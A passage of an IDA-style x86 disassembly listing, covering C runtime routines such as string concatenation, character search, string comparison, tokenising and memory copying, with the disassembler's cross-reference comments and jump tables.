		test	cl, 1
		jnz	short loc_41BD99
		and	ecx, 2
		jz	short loc_41BD69
		cmp	[ebp+var_8], 80000000h
		ja	short loc_41BD72


loc_41BD69:				; CODE XREF: sub_41BBBD+1A1j
		test	ecx, ecx
		jnz	short loc_41BD99
		cmp	[ebp+var_8], eax
		jbe	short loc_41BD99


loc_41BD72:				; CODE XREF: sub_41BBBD+197j
					; sub_41BBBD+1AAj
		test	byte ptr [ebp+arg_C], 1
		mov	dword_4DB958, 22h
		jz	short loc_41BD88
		or	[ebp+var_8], 0FFFFFFFFh
		jmp	short loc_41BD99
; ---------------------------------------------------------------------------


loc_41BD88:				; CODE XREF: sub_41BBBD+1C3j
		mov	ecx, [ebp+arg_C]
		and	cl, 2
		neg	cl
		sbb	ecx, ecx
		neg	ecx
		add	ecx, eax
		mov	[ebp+var_8], ecx


loc_41BD99:				; CODE XREF: sub_41BBBD+18Dj
					; sub_41BBBD+19Cj ...
		test	edx, edx
		jz	short loc_41BDA2
		mov	eax, [ebp+var_4]
		mov	[edx], eax


loc_41BDA2:				; CODE XREF: sub_41BBBD+1DEj
		test	byte ptr [ebp+arg_C], 2
		jz	short loc_41BDB0
		mov	eax, [ebp+var_8]
		neg	eax
		mov	[ebp+var_8], eax


loc_41BDB0:				; CODE XREF: sub_41BBBD+1E9j
		mov	eax, [ebp+var_8]
		jmp	short loc_41BDC0
; ---------------------------------------------------------------------------


loc_41BDB5:				; CODE XREF: sub_41BBBD+66j
					; sub_41BBBD+6Fj ...
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_41BDBE
		mov	[eax], edi


loc_41BDBE:				; CODE XREF: sub_41BBBD+1FDj
		xor	eax, eax


loc_41BDC0:				; CODE XREF: sub_41BBBD+1F6j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41BBBD	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BDC5	proc near		; CODE XREF: sub_401ACD+61CFp
					; sub_401ACD+6A10p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	1
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41BBBD
		add	esp, 10h
		retn
sub_41BDC5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BDDC	proc near		; CODE XREF: sub_401ACD+5981p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	near ptr 2670168h
		nop
		test	eax, eax
		jnz	short loc_41BDF2
		call	near ptr 26709D6h
		nop
		jmp	short loc_41BDF4
; ---------------------------------------------------------------------------


loc_41BDF2:				; CODE XREF: sub_41BDDC+Cj
		xor	eax, eax


loc_41BDF4:				; CODE XREF: sub_41BDDC+14j
		test	eax, eax
		jz	short loc_41BE03
		push	eax
		call	sub_4203DF
		pop	ecx
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_41BE03:				; CODE XREF: sub_41BDDC+1Aj
		xor	eax, eax
		retn
sub_41BDDC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BE06	proc near		; CODE XREF: sub_401ACD+58D3p
					; ___:00411CA2p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_420446
		mov	esi, eax
		lea	eax, [ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41F69F
		push	[ebp+arg_0]
		mov	edi, eax
		push	esi
		call	sub_4204D3
		add	esp, 18h
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_41BE06	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BE40	proc near		; CODE XREF: sub_401ACD+1E82p
					; sub_401ACD+1EA1p ...

arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, [ebp+arg_0]
		xor	eax, eax
		or	ecx, 0FFFFFFFFh
		repne scasb
		inc	ecx
		neg	ecx
		dec	edi
		mov	al, [ebp+arg_4]
		std
		repne scasb
		inc	edi
		cmp	[edi], al
		jz	short loc_41BE61
		xor	eax, eax
		jmp	short loc_41BE63
; ---------------------------------------------------------------------------


loc_41BE61:				; CODE XREF: sub_41BE40+1Bj
		mov	eax, edi


loc_41BE63:				; CODE XREF: sub_41BE40+1Fj
		cld
		pop	edi
		leave
		retn
sub_41BE40	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BE70	proc near		; CODE XREF: sub_401ACD+870p
					; ___:0041DD1Dp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	ecx, [ebp+arg_8]
		jecxz	short loc_41BEA1
		mov	ebx, ecx
		mov	edi, [ebp+arg_0]
		mov	esi, edi
		xor	eax, eax
		repne scasb
		neg	ecx
		add	ecx, ebx
		mov	edi, esi
		mov	esi, [ebp+arg_4]
		repe cmpsb
		mov	al, [esi-1]
		xor	ecx, ecx
		cmp	al, [edi-1]
		ja	short loc_41BE9F
		jz	short loc_41BEA1
		dec	ecx
		dec	ecx


loc_41BE9F:				; CODE XREF: sub_41BE70+29j
		not	ecx


loc_41BEA1:				; CODE XREF: sub_41BE70+9j
					; sub_41BE70+2Bj
		mov	eax, ecx
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
sub_41BE70	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41BEB0	proc near		; CODE XREF: sub_401ACD+42Fp
					; sub_401ACD+2FFDp ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		jmp	short loc_41BF21
sub_41BEB0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41BEC0	proc near		; CODE XREF: sub_401ACD+438p
					; sub_401ACD+75FFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		push	edi
		test	ecx, 3
		jz	short loc_41BEDC


loc_41BECD:				; CODE XREF: sub_41BEC0+1Aj
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_41BF0F
		test	ecx, 3
		jnz	short loc_41BECD


loc_41BEDC:				; CODE XREF: sub_41BEC0+Bj
					; sub_41BEC0+32j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_41BEDC
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_41BF1E
		test	ah, ah
		jz	short loc_41BF19
		test	eax, 0FF0000h
		jz	short loc_41BF14
		test	eax, 0FF000000h
		jz	short loc_41BF0F
		jmp	short loc_41BEDC
; ---------------------------------------------------------------------------


loc_41BF0F:				; CODE XREF: sub_41BEC0+12j
					; sub_41BEC0+4Bj
		lea	edi, [ecx-1]
		jmp	short loc_41BF21
; ---------------------------------------------------------------------------


loc_41BF14:				; CODE XREF: sub_41BEC0+44j
		lea	edi, [ecx-2]
		jmp	short loc_41BF21
; ---------------------------------------------------------------------------


loc_41BF19:				; CODE XREF: sub_41BEC0+3Dj
		lea	edi, [ecx-3]
		jmp	short loc_41BF21
; ---------------------------------------------------------------------------


loc_41BF1E:				; CODE XREF: sub_41BEC0+39j
		lea	edi, [ecx-4]


loc_41BF21:				; CODE XREF: sub_41BEB0+5j
					; sub_41BEC0+52j ...
		mov	ecx, [esp+4+arg_4]
		test	ecx, 3
		jz	short loc_41BF46


loc_41BF2D:				; CODE XREF: sub_41BEC0+7Dj
		mov	dl, [ecx]
		inc	ecx
		test	dl, dl
		jz	short loc_41BF98
		mov	[edi], dl
		inc	edi
		test	ecx, 3
		jnz	short loc_41BF2D
		jmp	short loc_41BF46
; ---------------------------------------------------------------------------


loc_41BF41:				; CODE XREF: sub_41BEC0+9Ej
					; sub_41BEC0+B8j
		mov	[edi], edx
		add	edi, 4


loc_41BF46:				; CODE XREF: sub_41BEC0+6Bj
					; sub_41BEC0+7Fj
		mov	edx, 7EFEFEFFh
		mov	eax, [ecx]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [ecx]
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_41BF41
		test	dl, dl
		jz	short loc_41BF98
		test	dh, dh
		jz	short loc_41BF8F
		test	edx, 0FF0000h
		jz	short loc_41BF82
		test	edx, 0FF000000h
		jz	short loc_41BF7A
		jmp	short loc_41BF41
; ---------------------------------------------------------------------------


loc_41BF7A:				; CODE XREF: sub_41BEC0+B6j
		mov	[edi], edx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41BF82:				; CODE XREF: sub_41BEC0+AEj
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		mov	byte ptr [edi+2], 0
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41BF8F:				; CODE XREF: sub_41BEC0+A6j
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41BF98:				; CODE XREF: sub_41BEC0+72j
					; sub_41BEC0+A2j
		mov	[edi], dl
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
sub_41BEC0	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41BFB0


loc_41BFA0:				; CODE XREF: sub_41BFB0+1Dj
		lea	eax, [edx-1]
		pop	ebx
		retn
; END OF FUNCTION CHUNK	FOR sub_41BFB0
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41BFB0	proc near		; CODE XREF: sub_401ACD+414p
					; sub_401ACD+4C3p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

; FUNCTION CHUNK AT 0041BFA0 SIZE 00000005 BYTES

		xor	eax, eax
		mov	al, [esp+arg_4]


loc_41BFB6:				; CODE XREF: sub_41B900+6Ej
		push	ebx
		mov	ebx, eax
		shl	eax, 8
		mov	edx, [esp+4+arg_0]
		test	edx, 3
		jz	short loc_41BFDB


loc_41BFC8:				; CODE XREF: sub_41BFB0+29j
		mov	cl, [edx]
		inc	edx
		cmp	cl, bl
		jz	short loc_41BFA0
		test	cl, cl
		jz	short loc_41C024
		test	edx, 3
		jnz	short loc_41BFC8


loc_41BFDB:				; CODE XREF: sub_41BFB0+16j
		or	ebx, eax
		push	edi
		mov	eax, ebx
		shl	ebx, 10h
		push	esi
		or	ebx, eax


loc_41BFE6:				; CODE XREF: sub_41BFB0+61j
					; sub_41BFB0+70j ...
		mov	ecx, [edx]
		mov	edi, 7EFEFEFFh
		mov	eax, ecx
		mov	esi, edi
		xor	ecx, ebx
		add	esi, eax
		add	edi, ecx
		xor	ecx, 0FFFFFFFFh
		xor	eax, 0FFFFFFFFh
		xor	ecx, edi
		xor	eax, esi
		add	edx, 4
		and	ecx, 81010100h
		jnz	short loc_41C028
		and	eax, 81010100h
		jz	short loc_41BFE6
		and	eax, 1010100h
		jnz	short loc_41C022
		and	esi, 80000000h
		jnz	short loc_41BFE6


loc_41C022:				; CODE XREF: sub_41BFB0+68j
					; sub_41BFB0+81j ...
		pop	esi
		pop	edi


loc_41C024:				; CODE XREF: sub_41BFB0+21j
		pop	ebx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41C028:				; CODE XREF: sub_41BFB0+5Aj
		mov	eax, [edx-4]
		cmp	al, bl
		jz	short loc_41C065
		test	al, al
		jz	short loc_41C022
		cmp	ah, bl
		jz	short loc_41C05E
		test	ah, ah
		jz	short loc_41C022
		shr	eax, 10h
		cmp	al, bl
		jz	short loc_41C057
		test	al, al
		jz	short loc_41C022
		cmp	ah, bl
		jz	short loc_41C050
		test	ah, ah
		jz	short loc_41C022
		jmp	short loc_41BFE6
; ---------------------------------------------------------------------------


loc_41C050:				; CODE XREF: sub_41BFB0+98j
		pop	esi
		pop	edi
		lea	eax, [edx-1]
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41C057:				; CODE XREF: sub_41BFB0+90j
		lea	eax, [edx-2]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41C05E:				; CODE XREF: sub_41BFB0+85j
		lea	eax, [edx-3]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41C065:				; CODE XREF: sub_41BFB0+7Dj
		lea	eax, [edx-4]
		pop	esi
		pop	edi
		pop	ebx
		retn
sub_41BFB0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41C070	proc near		; CODE XREF: sub_401ACD+1AEp
					; sub_401ACD+205p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		test	edx, 3
		jnz	short loc_41C0BC


loc_41C080:				; CODE XREF: sub_41C070+3Cj
					; sub_41C070+66j ...
		mov	eax, [edx]
		cmp	al, [ecx]
		jnz	short loc_41C0B4
		or	al, al
		jz	short loc_41C0B0
		cmp	ah, [ecx+1]
		jnz	short loc_41C0B4
		or	ah, ah
		jz	short loc_41C0B0
		shr	eax, 10h
		cmp	al, [ecx+2]
		jnz	short loc_41C0B4
		or	al, al
		jz	short loc_41C0B0
		cmp	ah, [ecx+3]
		jnz	short loc_41C0B4
		add	ecx, 4
		add	edx, 4
		or	ah, ah
		jnz	short loc_41C080
		mov	edi, edi


loc_41C0B0:				; CODE XREF: sub_41C070+18j
					; sub_41C070+21j ...
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41C0B4:				; CODE XREF: sub_41C070+14j
					; sub_41C070+1Dj ...
		sbb	eax, eax
		shl	eax, 1
		inc	eax
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41C0BC:				; CODE XREF: sub_41C070+Ej
		test	edx, 1
		jz	short loc_41C0D8
		mov	al, [edx]
		inc	edx
		cmp	al, [ecx]
		jnz	short loc_41C0B4
		inc	ecx
		or	al, al
		jz	short loc_41C0B0
		test	edx, 2
		jz	short loc_41C080


loc_41C0D8:				; CODE XREF: sub_41C070+52j
		mov	ax, [edx]
		add	edx, 2
		cmp	al, [ecx]
		jnz	short loc_41C0B4
		or	al, al
		jz	short loc_41C0B0
		cmp	ah, [ecx+1]
		jnz	short loc_41C0B4
		or	ah, ah
		jz	short loc_41C0B0
		add	ecx, 2
		jmp	short loc_41C080
sub_41C070	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C0F4	proc near		; CODE XREF: sub_401ACD+B5p
					; sub_401ACD+D5p ...

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		push	edi
		push	8
		xor	eax, eax
		pop	ecx
		lea	edi, [ebp+var_20]
		rep stosd
		push	7
		pop	edi


loc_41C10D:				; CODE XREF: sub_41C0F4+32j
		mov	dl, [esi]
		mov	bl, 1
		movzx	ecx, dl
		mov	eax, ecx
		and	ecx, edi
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_20]
		or	[eax], bl
		inc	esi
		test	dl, dl
		jnz	short loc_41C10D
		mov	edx, [ebp+arg_0]
		test	edx, edx
		jnz	short loc_41C135
		mov	edx, dword_4DB9A4


loc_41C135:				; CODE XREF: sub_41C0F4+39j
					; sub_41C0F4+5Fj
		mov	al, [edx]
		push	1
		movzx	esi, al
		mov	ecx, esi
		pop	ebx
		and	ecx, edi
		shl	ebx, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_20]
		test	bl, cl
		jz	short loc_41C155
		test	al, al
		jz	short loc_41C155
		inc	edx
		jmp	short loc_41C135
; ---------------------------------------------------------------------------


loc_41C155:				; CODE XREF: sub_41C0F4+58j
					; sub_41C0F4+5Cj
		mov	ebx, edx


loc_41C157:				; CODE XREF: sub_41C0F4+81j
		mov	al, [edx]
		test	al, al
		jz	short loc_41C17B
		movzx	esi, al
		mov	ecx, esi
		push	1
		and	ecx, edi
		pop	eax
		shl	eax, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_20]
		test	al, cl
		jnz	short loc_41C177
		inc	edx
		jmp	short loc_41C157
; ---------------------------------------------------------------------------


loc_41C177:				; CODE XREF: sub_41C0F4+7Ej
		and	byte ptr [edx],	0
		inc	edx


loc_41C17B:				; CODE XREF: sub_41C0F4+67j
		mov	eax, ebx
		pop	edi
		sub	eax, edx
		pop	esi
		neg	eax
		sbb	eax, eax
		mov	dword_4DB9A4, edx
		and	eax, ebx
		pop	ebx
		leave
		retn
sub_41C0F4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C190	proc near		; CODE XREF: sub_409A2D+1Cp
					; sub_415221+19p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		push	[ebp+arg_C]
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_8]
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+var_20]
		mov	[ebp+var_14], 42h
		push	eax
		call	sub_41F69F
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_41C1CE
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_41C1DB
; ---------------------------------------------------------------------------


loc_41C1CE:				; CODE XREF: sub_41C190+34j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_41F58A
		pop	ecx
		pop	ecx


loc_41C1DB:				; CODE XREF: sub_41C190+3Cj
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41C190	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C1E0	proc near		; CODE XREF: sub_40AFEB+88p
					; sub_40B64B+60p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	loc_41C294
		mov	edi, [esp+4+arg_0]
		push	esi
		test	edi, 3
		push	ebx
		jz	short loc_41C20A


loc_41C1FB:				; CODE XREF: sub_41C1E0+28j
		mov	al, [edi]
		inc	edi
		test	al, al
		jz	short loc_41C23B
		test	edi, 3
		jnz	short loc_41C1FB


loc_41C20A:				; CODE XREF: sub_41C1E0+19j
					; sub_41C1E0+40j ...
		mov	eax, [edi]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	edi, 4
		test	eax, 81010100h
		jz	short loc_41C20A
		mov	eax, [edi-4]
		test	al, al
		jz	short loc_41C248
		test	ah, ah
		jz	short loc_41C243
		test	eax, 0FF0000h
		jz	short loc_41C23E
		test	eax, 0FF000000h
		jnz	short loc_41C20A


loc_41C23B:				; CODE XREF: sub_41C1E0+20j
		dec	edi
		jmp	short loc_41C24B
; ---------------------------------------------------------------------------


loc_41C23E:				; CODE XREF: sub_41C1E0+52j
		sub	edi, 2
		jmp	short loc_41C24B
; ---------------------------------------------------------------------------


loc_41C243:				; CODE XREF: sub_41C1E0+4Bj
		sub	edi, 3
		jmp	short loc_41C24B
; ---------------------------------------------------------------------------


loc_41C248:				; CODE XREF: sub_41C1E0+47j
		sub	edi, 4


loc_41C24B:				; CODE XREF: sub_41C1E0+5Cj
					; sub_41C1E0+61j ...
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		jnz	short loc_41C260
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41C2AC
		jmp	short loc_41C27C
; ---------------------------------------------------------------------------


loc_41C260:				; CODE XREF: sub_41C1E0+75j
					; sub_41C1E0+93j
		mov	dl, [esi]
		inc	esi
		test	dl, dl
		jz	short loc_41C29A
		mov	[edi], dl
		inc	edi
		dec	ecx
		jz	short loc_41C290
		test	esi, 3
		jnz	short loc_41C260
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41C2AC


loc_41C27C:				; CODE XREF: sub_41C1E0+7Ej
					; sub_41C1E0+CAj
		mov	ecx, ebx
		and	ecx, 3
		jz	short loc_41C290


loc_41C283:				; CODE XREF: sub_41C1E0+AEj
		mov	dl, [esi]
		inc	esi
		mov	[edi], dl
		inc	edi
		test	dl, dl
		jz	short loc_41C292
		dec	ecx
		jnz	short loc_41C283


loc_41C290:				; CODE XREF: sub_41C1E0+8Bj
					; sub_41C1E0+A1j
		mov	[edi], cl


loc_41C292:				; CODE XREF: sub_41C1E0+ABj
		pop	ebx
		pop	esi


loc_41C294:				; CODE XREF: sub_41C1E0+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C29A:				; CODE XREF: sub_41C1E0+85j
					; sub_41C1E0+E8j
		mov	[edi], dl
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C2A4:				; CODE XREF: sub_41C1E0+E4j
					; sub_41C1E0+FCj
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_41C27C


loc_41C2AC:				; CODE XREF: sub_41C1E0+7Cj
					; sub_41C1E0+9Aj
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_41C2A4
		test	dl, dl
		jz	short loc_41C29A
		test	dh, dh
		jz	short loc_41C2F8
		test	edx, 0FF0000h
		jz	short loc_41C2E8
		test	edx, 0FF000000h
		jnz	short loc_41C2A4
		mov	[edi], edx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C2E8:				; CODE XREF: sub_41C1E0+F4j
		mov	[edi], dx
		xor	edx, edx
		mov	eax, [esp+0Ch+arg_0]
		mov	[edi+2], dl
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C2F8:				; CODE XREF: sub_41C1E0+ECj
		mov	[edi], dx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_41C1E0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C310	proc near		; CODE XREF: sub_40BFA4+15p
					; sub_40BFA4+3Bp ...

var_3A3BFFC0	= byte ptr -3A3BFFC0h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_41C330
		cmp	edi, eax
		jb	loc_41C4A8


loc_41C330:				; CODE XREF: sub_41C310+16j
		test	edi, 3
		jnz	short loc_41C34C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41C36C
		rep movsd
		jmp	off_41C458[edx*4]
; ---------------------------------------------------------------------------


loc_41C34C:				; CODE XREF: sub_41C310+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_41C364
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr loc_41C36C+4[eax*4]
; ---------------------------------------------------------------------------


loc_41C364:				; CODE XREF: sub_41C310+46j
		jmp	dword ptr loc_41C468[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41C36C:				; CODE XREF: sub_41C310+31j
					; sub_41C310+8Ej ...
		jmp	off_41C3EC[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41C380
; ---------------------------------------------------------------------------
		lodsb
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	al, dl
		retn
; ---------------------------------------------------------------------------
		dw 41h
; ---------------------------------------------------------------------------


loc_41C380:				; DATA XREF: sub_41C310+64o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_41C36C
		rep movsd
		jmp	off_41C458[edx*4]
; ---------------------------------------------------------------------------
		align 4
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_41C36C
		rep movsd
		jmp	off_41C458[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_41C36C
		rep movsd
		jmp	off_41C458[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41C3EC	dd offset loc_41C44F	; DATA XREF: sub_41C310:loc_41C36Cr
		dd offset loc_41C43C
		dd offset loc_41C434
		dd offset loc_41C42C
		dd offset loc_41C424
		dd offset loc_41C41C
		dd offset loc_41C414
		dd offset loc_41C40C
; ---------------------------------------------------------------------------


loc_41C40C:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax


loc_41C414:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax


loc_41C41C:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax


loc_41C424:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax


loc_41C42C:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax


loc_41C434:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax


loc_41C43C:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_41C44F:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310:off_41C3ECo
		jmp	off_41C458[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41C458	dd offset loc_41C468	; DATA XREF: sub_41C310+35r
					; sub_41C310+92r ...
		dd offset loc_41C470
		dd offset loc_41C47C
		dd offset loc_41C490
; ---------------------------------------------------------------------------


loc_41C468:				; CODE XREF: sub_41C310+35j
					; sub_41C310+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_41C470:				; CODE XREF: sub_41C310+35j
					; sub_41C310+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41C47C:				; CODE XREF: sub_41C310+35j
					; sub_41C310+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_41C490:				; CODE XREF: sub_41C310+35j
					; sub_41C310+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41C4A8:				; CODE XREF: sub_41C310+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_41C4DC
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41C4D0
		std
		rep movsd
		cld
		jmp	off_41C5F0[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_41C4D0:				; CODE XREF: sub_41C310+1B1j
					; sub_41C310+208j ...
		neg	ecx
		jmp	dword ptr loc_41C59F+1[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41C4DC:				; CODE XREF: sub_41C310+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_41C4F4
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr loc_41C4F4+4[eax*4]
; ---------------------------------------------------------------------------


loc_41C4F4:				; CODE XREF: sub_41C310+1D6j
